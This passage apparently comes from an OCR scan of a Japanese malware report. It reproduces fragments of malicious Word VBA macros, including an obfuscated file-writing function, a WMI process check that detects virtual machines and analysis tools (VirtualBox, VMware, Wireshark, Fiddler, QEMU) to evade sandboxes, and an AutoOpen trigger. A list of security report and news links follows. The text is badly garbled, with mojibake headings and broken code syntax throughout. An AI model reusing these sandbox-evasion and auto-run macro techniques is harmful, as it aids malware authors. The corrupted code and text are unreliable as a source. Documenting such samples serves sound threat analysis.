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Function Q34wm698hixmeéyflb_()

On Error Resume Next

mn2b = Wk0657xmscxf4emm.StoryRanges.Item(1)
—— GoTo|slzOT
Dim IRAEN] As String
Open "eHPuD.fHbzh.kOVNDE" For Binary As 179
Put #179, , iRAEN]
Close #179

—>[slz0T
— GoTo|gkPEQDF

Dim FLHfQBI As String

Open "sPSBGCATY.BpHTCoEEN.pfQtfictG" For Binary As 63
Put #63, , FLHfQBI

Close #63

—

— GoTo[YHWRII]

Dim MInfKHBUE As String
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Put #158, , MInfKHBUE
Close #158
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4.7 VBAOI—RARTHIR{EET NS [ winmgmts:win32_Process |

4.8 VBA/TrojanDownloader.Agentlc &> TRITENiz#F{LPowerShellav VR
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ISYIURNEES =
ATVIorERS 3
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BSUIz2A TYTINTT 5w I UMDY TSN SH DD TR
$ 3155 : CheckProc = True
FUWBE : CheckProc = False

Function checkProc() As Boolean

Dim Name As String
Dim Desc As String

badProc = False

badMachames = Array{"vbox, "vrnware”, “vxstream”, "autoit”, *vmtools®, “tepview”,
“wireshark”, “process explorer”, “visual basic”, “fddler”, “gemu®, _
“virtual®, “kvm®, “xen”, “redhat”)

Set ice = “winmg . 2
Set colAdapters = objWMIService ExecQuery("SELECT * FROM Win32_Process’)
For Each objadapter In colddapters

Name = objAdapter.Name

For Each badName In badMachames
If InStr{LCase{Name), badName) > § Then
badProc = True
End If
Next

checkProc = badProc

End Function

Sub AutoOpen()
Dim Vniko As String

) Or checkCores() _
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End Sub
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2019 FEVILDT7UIR—b [PDF] | ¥ILDI7ERB

https://eset-info.canon-its.jp/files/user/malware_info/images/ranking/pdf/MalwareReport 2019.pdf

SVY LAY DEREZIAVEE. BAFFETH1E230075H | ZDNet Japan
https://japan.zdnet.com/article/35162969/

BEMFEBNT FBSVYLDITFHE [TDOWVT [PDF] | IPA (B3R IEHERE)
https://www.ipa.go.jp/files/000084974.pdf

AvaddonZ 8 AT 7 DEEMT [PDF] | RILDI 7 IERE
https://eset-info.canon-its. jp/files/user/malware_info/images/threat/201027/Malware_Report_Avaddon_202010.pdf

FBI FLASH MU-000140-MW [PDF] | WaterISAC
https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf

Ragnar Locker ransomware deploys virtual machine to dodge security | Sophos

https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/

Ransomware Gangs to Stop Attacking Health Orgs During Pandemic | Bleeping Computer

https://www.bleepingcomputer.com/news/security/ransomware-gangs-to-stop-attacking-health-orgs-during-pandemic/

New Jersey hospital paid ransomware gang $670K to prevent data leak | Bleeping Computer
https://www.bleepingcomputer.com/news/security/new-jersey-hospital-paid-ransomware-gang-670k-to-prevent-data-leak/

BEREF 1T ZOAEREBRO OB [2020F 530U (7B~98)] | IPA (BFRDLIBHEERAE)
https://www.ipa.go. jp/security/txt/2020/g3outline.html

BHREF1UT o OAERBROOERIRR [2020F5E40U4H (108 ~128)] | IPA (53R IEHEERAE)
https://www.ipa.go.jp/security/txt/2020/g4outline.html

WORLD’S MOST DANGEROUS MALWARE EMOTET DISRUPTED THROUGH GLOBAL ACTION | Europol

https.//www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action
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